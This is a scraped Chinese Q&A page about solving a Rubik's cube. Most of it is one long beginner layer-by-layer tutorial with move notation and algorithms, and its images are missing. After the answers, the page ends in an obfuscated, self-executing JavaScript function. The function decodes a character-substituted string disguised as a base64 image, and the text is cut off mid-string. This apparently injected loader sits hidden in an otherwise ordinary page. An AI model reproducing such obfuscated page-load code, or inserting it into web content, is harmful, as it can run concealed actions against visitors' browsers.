是不是所有被打乱的魔方都可有个公式还原?

跪求,不要链接和视频,绝对会加分!!!!!
2025-02-07 23:21:21
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回答1:

  朋友,我现在就在玩魔方,告诉你,所有被打乱的魔方都能复原,只要你掌握方法和公式!层先法现在很流行!魔方别看只有26个小方块,变化可真是不少,魔方总的变化数为

  或者约等于4.3•1019。如果你一秒可以转3下魔方,不计重复,你也需要转4542亿年,才可以转出魔方所有的变化,这个数字是目前估算宇宙年龄的大约30倍。
  三阶魔方总变化数的道理是这样:六个中心块定好朝向后,就构成了一个坐标系,在这个坐标系里,8个角色块全排列8!,而每个角色块又有3种朝向,所以是8!*38,12个棱色块全排列每个有2种朝向是12!*212,这样相乘就是分子,而分母上3*2*2的意义是,保持其他色块不动,不可以单独改变一个角色块朝向(对应3),单独改变一个棱色块朝向(对应2),和单独交换一对棱色块或一对角色块的位置(对应另一个2)。至于为什么,我建议大家自己先想想,我初步写了一些,你可以到这里看看。
  由此可见,这么多变化用很短时间变回六面同色不是很简单的。不过世界上最快的人7.08秒就可以还原一个魔方(记录创造于2008年7月12日的 捷克公开赛),记录保持者是来自荷兰的Erik Akkersdijk。
  那些人为什么会这么快呢?因为他能记住好多的魔方算法,或者也有叫魔方公式的,世界上顶尖的选手,据说可以记住600多个算法。我们这里介绍的入门魔方解法,涉及的算法很少而且都很简单, 只要学会,每个人都可以轻松得学会玩魔方的。
  在开始之前,让我们来看看魔方的基本构造,魔方六面的中心块的相对位置是固定的,这个你拆过魔方就会知道,我敢保证在你照后面的方法开始拧来拧去的时候,很容易就忘记前后左右开始是什么颜色,这样就拧乱了。所以你开始一定要定好一个你喜欢的朝向。在这里我选蓝色做为顶面,绿色为底面,红色前面,橙色后面,白色左面,黄色右面。 当然你可能贴纸贴的就跟我不一样,魔方六面贴纸应该有5*3!=30种贴法吧,为啥呢?因为假如你指定蓝面为顶面,那么底面就应该有5种选择,还剩下4面构成一个环,这个环去除了旋转对称共有3!种贴法,对吧:)我选的如下图。
  。
  (第一步)在第一面做一个十字,形成如下的样子:(您也可以看看 第一步的视频讲解)
  注意啊,你对好的十字必须如上图,每个侧面的棱和中心是同色的。做成这步的方法很多,我建议你自由发挥。如果实在有困难,我这里提供一个万全的办法,就是把中间层含有蓝色的棱色块变到底面上去,然后对好侧面颜色,再翻上来。我这里就举一个例子大家就应该明白了,对于左图B位置,只需要下面3步,
  动画会自动播放,你也可以用播放条右边的 和 一步一步看。最左边的 回到初始状态。 F
  D
  R2 180°

  初始状态 把蓝黄色块 转到底面 旋转底面,对好侧面黄色 翻上来
  我说的够清楚了吧。D位置和B位置完全同理,也是把中间层含有蓝色的棱色块变到底面上去,然后对好侧面颜色,再翻上来,而对于A和C位置你可以旋转该面,让其变到B或D位置。如果某个棱色块的蓝色面已经在顶面或底面,相信大家会有办法解决的。 你要记住的是,如果遇到困难,就把蓝色变到底面,在底面上你是可以任意旋转的。
  有时候,你会碰到左图这样的情况,蓝黄色块转到底面时影响了已经对好的红色面,这时候,你需要在最后一步之前恢复红色面的位置。具体操作见下。

  魔方小站)
  F
  D
  F'

  初始状态 把蓝黄色块 转到底面,但
  这影响了对好的红色侧面 旋转底面,对好侧面黄色 恢复红色面
  R2 180°

  照上面说的,你重复做4个棱,应该就可以做好十字啦。
  这里我给初学者建议一种更清晰快速的方法,蓝色棱变到底面之后 ,可以不急着把它翻上去,可以变成左图这个样子,注意在底面上4个棱可以是任意顺序,这会给你减少很大难度,这里是两个例子,给大家开阔下思路,

  最后把他们逐一对好侧面颜色翻上去就行啦。比如:
  下面我要说说标记。你没准注意到上个表格里的一些奇怪的字母,那些字母的意思很简单,
  F = front face 前面 B = back face 后面 R = right face 右面
  L = left face 左面 U = up face 上面 D = down face 下面
  以上面的表里的标记为例,F就代表前面顺时针转90°,F'代表前面逆时针转90°,R2代表右面转180°,就这么简单,大家明白了吧。
  另外,如果你的魔方是有数字的魔方,或者带图形、带图案的魔方,那么你六面中心块就有了朝向的问题,你可以参考这一页在此步对好侧面中心块。
  ________________________________________
  (第二步)对好第一面,加上四侧面的T字型,形成:(您也可以看看 第二步的视频讲解)

  做好这一步其实你只要学会一招就够了。那个蓝色的角色块,转来转去之后就6种位置,

  对于A位置,只需下面3步,对于C、D、E、F,请先到后面看看怎么把他们变成A或B。
  注意哦,我们归位的小角块的颜色必须要对应好。比如这里的蓝红黄小角块必须上到红黄角,不能上错哦,否则T字就出不来啦。可能有的朋友已经觉得我像唐僧了,不过确实有的朋友有这个问题的,我还是要说的详细一点。A位置转法如下:魔方
  F
  D
  F'

  初始状态 此步很巧妙,同时达成两个目的:一个是让顶层的目标角位置到底层来“接应”蓝红黄角块,另一个是让蓝红黄角块也准备到了应有的位置。 让蓝红黄角块 转到目标位。 转回顶层。
  而对于B位置,其实完全一样,就是把刚才的3步对于顶面对角线做一个镜像,方
  如左图,对于顶面对角线做一个镜像,我们将在后面无数次的遇到,所以请大家一定注意这个镜像的意义。
  上面F D F'的对角线镜像就是R' D' R,具体请看,

  此动画设为不自动播
  放,请按播放键 开始
  R'
  D'
  R

  B位置的图就是A位置的对角线镜像,所以他的算法就是FDF'对着对角线照镜子。 F的对角线镜像就是R',大家应该很明白吧,参看一下上面镜子的图片。 D的镜像就是D' F'的镜像就是R了

  而对于C、D、E、F位置,你总可以用旋转侧面和底面将其转到A或B位置。这里是几个例子 :(这些算法是不应该记的,你应该自己摸索着转几下,肯定能转出来)
  对于F 对于C 对于D 对于E

  F D2 F' D'
  F D F' D'
  R' D' R D
  F D F'

  重复做4个角,你就会得到

  这样我们已经打好了地基,简单吧。
  ________________________________________
  (第三步)放第二层的棱色块,变成形如 (您也可以看看 第三步的视频讲解)

  由上一步到这一步的图,大家肯定看出了这步我们要处理的是中间层红白,红黄,橙白,橙黄四个棱色块。这次,你先把魔方翻过来了,蓝面朝下,绿面朝上,再看看以上4个棱色块哪些位于顶面(绿色为中心的面),随便选择一个,我们就从它开始,这里以红白为例,通常,你会碰到两种情况,

  我们要把顶层红白棱色块插入到上图红色箭头所指的位置,你应该把红白所夹的角放在最靠近你的位置(右前),然后一、二种情况非常好识别了,同色的一排分别在前面和右面。
  对于第一种情况,使用下面的算法,
  U
  R
  U'
  R'

  U'
  F'
  U
  F

  • 整个算法是URU'R' + U'F'UF,是不是很有规律?我们看,好像后一半U'F'UF正好是 前一半URU'R'的对角线镜像吧,是吧?我们看前四步URU'R'的作用是把左图里我们要的两个小块组合起来,上表中标为红色的第5图显示了组合好的两个色块,而后四步U'F'UF则是把我们组合好的两个小块填进正确的位置。魔方

  所以,如果你碰见,

  该怎么办呢?可能好多朋友都看出了,我们的算法应该是上面算法的对角线镜像,因为我们所要做的就是对着对角线照个镜子,因为前半后半互为对角线镜像,所以算法就是前半后半颠倒过来,成为U'F'UF + URU'R',魔方
  U'
  F'
  U
  F

  U
  R
  U'
  R'

  会有一些情况下,你需要的棱色块不在顶面,而在第二层的错误位置或者朝向,这时咋办?首先,你要先做在顶面上的那些, 可能不听话的棱色块会自己变到顶面上,如果最后他还是不听话,如左图,我们就用上面算法把个无关大局的棱色块搞到该位置,我们要的那个红白棱色块就自然换到顶层了,这稍微有点麻烦,不过对于我们初等解法只能这样先忍忍了,这也可能会激发大家去学高级的解法吧:)
  除此之外,你还可以试试这个算法F' U2 L' U L U2 F。和上面的算法起同样的作用。注意,开始状态不太一样。
  和他的对角线镜像:R U2 B U' B' U2 R'
  同样重复做其他三个棱,第三步就完成了。我们到现在为止一共就学了2个算法吧,所以大家要加油啊。
  下面的步骤我给你提供两条路径,他们很相似,其实只差一步,第一条路径就是本页,它的优点是形态很好识别,非常便于你提高速度,只是第六步算法稍难记一点点,第二条路径请点这里,他的优点是算法很好记住, 但是第五步识别形态稍耽误时间,我个人喜欢第一路径。
  (第四步)在魔方新的顶面上画十字 (您也可以看看 第四步的视频讲解)
  变成:

  下面我们要学一个新的算法,这个算法会把顶层在如下4种情况中切换,顶面的4个棱色块在旋转之后,也只可能有这4种情况,
  1 2 3 4

  概率1/8 概率1/4 概率1/2 概率1/8
  这步我们 把角色块都当成灰色的,只看棱色块,比如你要见到左图这样,就算是上面第3种情况,见到右图这样,就算上面第2种情况。(转载自魔方小站)
  在应用算法前,你应该参照上图顶面绿色的样子来确定你魔方的方位,我们只要对出十字就好啦,并不需要十字侧面 的颜色和下两层吻合。请注意,这个算法会按顺序从左到右在这4种情况中切换,也就是如果你遇见“点”(就是上面第一个图),你就要应用3次这个算法(每次之前都要按照上图对好方位哦),遇见“一”字就要应用2次算法,
  R'
  U'
  F'
  U

  F
  R

  另外,在“一字”的时候,你也可以试试
  R' F' U' F U R
  你观察一下就知这个算法是上面算法的逆算法。他可以直接从“一”字就对好十字的。
  • 一开始呢,学一个算法的时候总是容易弄错,起初不可能记得很清楚,就很容易拧乱,这样往往会很郁闷。我建议大家应该在这个图形的pattern上找到某种提示,特别是一些比较“整”的图形,我一般记一个算法给我最大提示的就是底面的蓝色色块,因为他们是已经对好的最整的图形,他们是怎么分开又怎么重新组合到一起,然后怎么归位的,想象出一个过程或一个“故事”,这样这个算法就很容易记了,包括后面的算法都是。
  • 又一个小思考:这里有一个问题,为什么说只有这4种情况呢,这样不会出现吗?

  答案是不会, 如果你的魔方真出现了上面的情况,那么最可能的原因是有人拆过你的魔方,并且把他组装错了,如果他随机组装,根本不分颜色,那他有11/12的概率装错,解决的办法是任意翻转一个棱就行了。
  他们不会出现的原因是你不可以保持其他棱色块不动,而只翻转单独一个棱色块,这在我们最初算魔方总变化数时提到过。为啥?你感兴趣可以看看这页。
  ________________________________________
  (第五步)翻转魔方顶面四角,对好顶面颜色,使之形成
  (您也可以看看 第五步的视频讲解)

  魔方顶面的四角只可能有8种情况,第一种就是已经对好,而其他7种如下。魔方

  概率 4/27 4/27 4/27 4/27 4/27 2/27 4/27
  如果你的图案在这8种之外,那么你肯定需要拆掉魔方,调整一个角块的朝向。如果你想了解上面的概率怎么算出的可以先看看这页,不行也可以在下面发信问我。
  我又要发一通大道理了,如果急着要看算法可以先跳过哈:)
  首先我们观察1,2两种情况,在这两种情况里,3个未对好的块在旋转意义下是处于相同的位置的,对吧。这是他们一个特点。绿色在每个角有3种朝向,如果我们对4角进行标记,不妨把1情况叫做(1113从右上角开始标号),2情况叫做(2223),括号里的3就代表绿色块已经在顶面了,3情况(1233),4情况(2133),5情况(1323),6情况(1212),7情况(2112),你有没有发现一些规律呢?括号里数字的和一定是3的整数倍!为啥非得是3的整数倍?建议你去看看一开始的魔方总变化数道理,那里面证明了角块朝向的角度和应该是360度的整数倍。这个限制,决定了我们只能有8种情况。
  这个问题真是不特别简单,首先,我们出个题啊,要是魔方顶面4个角位置可以标号1、2、3,就像上面一样可以标成是(1113)(1233)等等,去除旋转后相同的情况,共有多少种标法?
  如果不去除旋转相同,那么4个角就是可以区分的,这个答案很简单就是3^4=81种情况,对吧,但是如果去除旋转相同,就 比较复杂了,比如1113和3111是同一种标法,只是魔方顶面转了90度而已,你可以自己先想想这个题。
  这是个组合数学的经典问题,叫做Necklace problem(就是用几种颜色的珠子穿项链),或者叫做polya定理,如果有兴趣也可以到这里看看,不过我还是推荐你先自己想一下,这里面的公式会一下子让你很faint,如果你对“欧拉数”之类的概念不熟或根本没听说过的话。
  我们这种情况不用mathworld里面的那个公式,枚举法就可以啦:)不过要想的周密一点,答案是24种,我验算了和那个恐怖公式给出的答案一样。而在这24种里,4个数字的"和"被3除的余数,应该是平均分配给0,1,2吧,这个我没有证明,呵呵,这样被3整除的应该就有8个了吧。就是 对好+这7种:

  现在我们开始说算法了,对于第一种情况,我们应该把顶面已经是绿色那个角放在最上面(也就是"左后角"),这时你不用关心下面两层 的哪面朝前,魔方

  应用下面算法,这个算法的作用就是保持最上面角(左后角)的朝向不变,同时把下面三个角的绿色翻上去。
  算法1:
  R'
  U'
  R
  U'

  R'
  U'2
  R

  对于第二种情况,我们应该发现他就是一情况的对角线镜像是吧,所以上面算法去做对角线镜像就得到了情况二的算法:魔方

  算法2:
  F
  U
  F'
  U

  F
  U2
  F'

  对于3-7情况:

  你有2/3的概率碰到他们,其实你完全可以自己用1,2算法试试翻这么几次,看看会发生什么,慢慢就找到规律了。3-7情况都是用1,2算法的组合解决,最多用2个算法。魔方
  如果你等不及了或者觉得自己的方法不够快,可以看看这里参考3-7情况我的方法。

  对于3-7情况,我给你介绍两个方法,第一个有一个推导的过程,掌握了再学第二个傻瓜方法你就知道为啥这样做了。第二个方法显然会更快的,实践中我推荐第二个方法。
  方法一,你需要首先把任意一个顶面不是绿色的块放在最上面(左后角),然后你剩下其余3个角是吧,你要从一二算法里挑一个,使这3个角,只有其中一个绿色被翻到顶面。这样你就会得到1,2情况之一了。 为啥翻一个不用我说了吧。
  举个例子吧 ,对于5情况,我们先随便把一个 顶面不是绿色的小块弄到上面(第二图),然后我们要只翻一个绿色上去是吧,那肯定就用算法1罗 (为什么用算法1?去看看上面算法1的图片,看看他是怎么翻绿色的。你就明白了。),用完了就变成左边第三个图,转一转就知道这是2情况。

  再来一个,对于6情况,上面已经是非绿,剩下3个我们翻一个,翻哪个呢,右后和前左是同位置, 翻他们要用算法1,但他们一定同时翻上去,不行,我们要3个角只有其中一个绿色被翻到顶面才行。还得是翻右前这个,这时就要用算法2,之后转转我们就会发现他变成了2情况。简单吧。好玩吧。
  看不明白?好,我们还有for dummies的
  方法二,看好了,这是算法1对吧。
  R'
  U'
  R
  U'

  R'
  U'2
  R

  你只要把你的魔方按照下面的方位摆好了。然后应用1算法,他就会变成1情况或者2情况了。

  3 4 5 6 7
  这个傻瓜图其实是很有规律的,你看,如果你有两个绿色不在顶面,那么最上面角(左后角) 的绿色就冲着后面,如果你四个绿色都不在顶面,最上面角(左后角)的绿色就冲着左面。然后用算法1,就这么简单:) 其实,你只要记住一句“2后4左”3-7情况你就肯定会了。 万一这句话你也忘了,怎么办?也没事儿,你就用算法1乱翻几下,最后总会翻出来的。

  ________________________________________
  (第六步)调整四角顺序,使之形成:(您也可以看看 第六步的视频讲解)

  这步很简单,首先转转顶面看看是不是已经对好(概率1/6),如果不是就首先找一条边,这条边的两个角有相同的颜色(概率2/3),像以下这些例子。另有1/6的概率你找不到这样的一条边,我们一会儿再说。魔方

  两角中间的棱颜色和下面两层的颜色我们不用关心。现在把这条边放在背面,以上表最后一个为例,变成,
  正面 背面

  然后应用下面算法,
  L
  F'
  L
  B2

  L'
  F
  L
  B2
  L2

  如果应用完算法 ,四个角还没有和下面两层的颜色吻合,转转就可以了。这步本质上的作用就是交换了前面两个角的位置。或者说做了这样的一个逆时针旋转,这两个作用在顶面旋转过后是等效的。魔方
  (第二种情况)找不到有两角同色的边
  如果你碰到的情况找不到这样一条有两角同色的边,你就闭着眼睛应用一遍上面的算法,就一定可以找到啦,如果你感兴趣这是为什么,可以看看这页。 这种情况其实是你需要交换一个对角线上的两个角。
  另外,你也可以试试这个算法的左右镜像,使用方法一样,效果也一样。
  R' F R' B2 R F' R' B2 R2
  好啦,第六步也讲完拉,就差最后一步啦!先告诉大家一个好消息,最后一步不用学新的算法就行,我们用第五步的算法1和算法2就可以搞定:)
  ________________________________________
  (第七步)将最后的棱色块顺序排列好 (您也可以看看 第七步的视频讲解)
  最后一步啦,大家是不是都很兴奋啊,好不容易啊,胜利就在前方了。最后一步很简单,你只要看准魔方的方向就行啦。魔方
  第一种情况,你想让3个棱逆时针旋转。(概率1/3)
  首先你要把已经对好颜色的那条边放在前面。
  再用第五步的算法1+U2+算法2+U2 就行啦。也就是
  R' U' R U' R' U'2 R
  U2 F U F' U F U2 F'
  U2
  第五步算法1
  第五步算法2

  你可以上去看看第五步的图。也可以看看
  算法1、2中间的U2也可以换成旋转你的整个魔方180°,这样最后一个U2也不需要了。
  就是这样,
  第二种情况,你想让3个棱顺时针旋转。(概率1/3)
  那么要把已经对好颜色的那条边放在右面。这时你会发现第二个图就是第一个图的对角线镜像。
  所以就是第五步算法2+U2+算法1+U2
  F U F' U F U2 F'
  U2 R' U' R U' R' U'2 R
  U2
  第五步算法2
  第五步算法1

  或者,去掉中间的U2改成旋转整个魔方180°,
  上面这个顺时针逆时针怎么摆先用哪个算法不用死记,死记也很难记,你只要注意:1. 第二、四步转顶面的方向就是顶面3个箭头的方向;2. 魔方开始摆放的方位会使你第一步总是"切开"那个对好的面,你就知道该先用那个算法,魔方怎么摆了。

  概率1/12 概率1/6
  如果你碰到了需要如上这样变的情况。其实很简单,你随便应用一遍上面顺时针或逆时针的算法,然后他就会变成顺时针或逆时针的情况了。
  上面介绍的方法,虽然我们不用记新算法了,但是很长,需要16步,如果你愿意,可以再记一个算法。魔方

  R2 U' F B' R2 F' B U' R2 R2 U F B' R2 F' B U R2

  这两个算法互为顶面水平中线镜像。这样就简单一些了。
  如果想让自己的魔方变得更酷,你可以再对自己的魔方稍加改变。

  Rs2 Fs2 Us2 或者 (Rs Fs)3 Rs Us Fs Rs' Us2 (Fa Ra)3
  其中Fs,Fs',Ra,Ra'这样的标记的意思是你像夹片一样的移动前后或左右两个面,s=slice,a=anti-slice,比如,
  标记 Fs Fs' Ra Ra'
  图

  他相当于 F B' F' B R L R' L'

回答2:

=。= 答案是肯定的。。。
我初中的时候倒是会玩魔方。。但是现在过了这么多年。。魔方看都没看到过几次。。早就忘记了。。不能帮到你。。。
可以肯定的是有个规律。。可以把任意打乱的魔方完成

回答3:

你可以上魔方吧,那里面有初级教程
就是背4、5个公式就行了

回答4:

回答5:


但是 还是链接和视频来的实际
没法放图的话 是教不会的

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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